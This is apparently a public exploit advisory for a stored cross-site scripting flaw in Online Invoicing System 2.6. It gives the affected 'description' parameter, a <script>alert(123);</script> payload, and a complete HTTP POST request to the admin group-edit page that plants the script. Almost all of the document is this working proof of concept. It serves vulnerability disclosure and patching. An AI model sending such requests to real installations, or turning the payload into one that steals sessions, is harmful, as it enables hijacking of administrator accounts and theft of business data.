Online Invoicing System 2.6 - 'description' Persistent Cross-Site Scripting

# Exploit Title: Online Invoicing System 2.6 - 'description' Persistent Cross-Site Scripting
# Date: 2019-11-29
# Exploit Author: Cemal Cihad ÇİFTÇİ
# Vendor Homepage: https://bigprof.com
# Software Download Link : https://github.com/bigprof-software/online-invoicing-system
# Software : Online Invoicing System
# Version : 2.6
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS

# Stored XSS has been discovered in the Online Invoicing System created by bigprof/AppGini
# editmembers section. Description parameter affected from this vulnerability.
# payload: <script>alert(123);</script>

# HTTP POST request
POST /inovicing/app/admin/pageEditGroup.php HTTP/1.1
Host: 10.10.10.160
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 464
Origin: http://10.10.10.160
Connection: close
Referer: http://10.10.10.160/inovicing/app/admin/pageEditGroup.php?groupID=2
Cookie: inventory=4eg101l42apiuvutr7vguma5ar; online_inovicing_system=vl8ml5or8sgdee9ep9lnhglk69
Upgrade-Insecure-Requests: 1

groupID=2&name=Admins&description=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E&visitorSignup=0&invoices_insert=1&invoices_view=3&invoices_edit=3&invoices_delete=3&clients_insert=1&clients_view=3&clients_edit=3&clients_delete=3&item_prices_insert=1&item_prices_view=3&item_prices_edit=3&item_prices_delete=3&invoice_items_insert=1&invoice_items_view=3&invoice_items_edit=3&invoice_items_delete=3&items_insert=1&items_view=3&items_edit=3&items_delete=3&saveChanges=1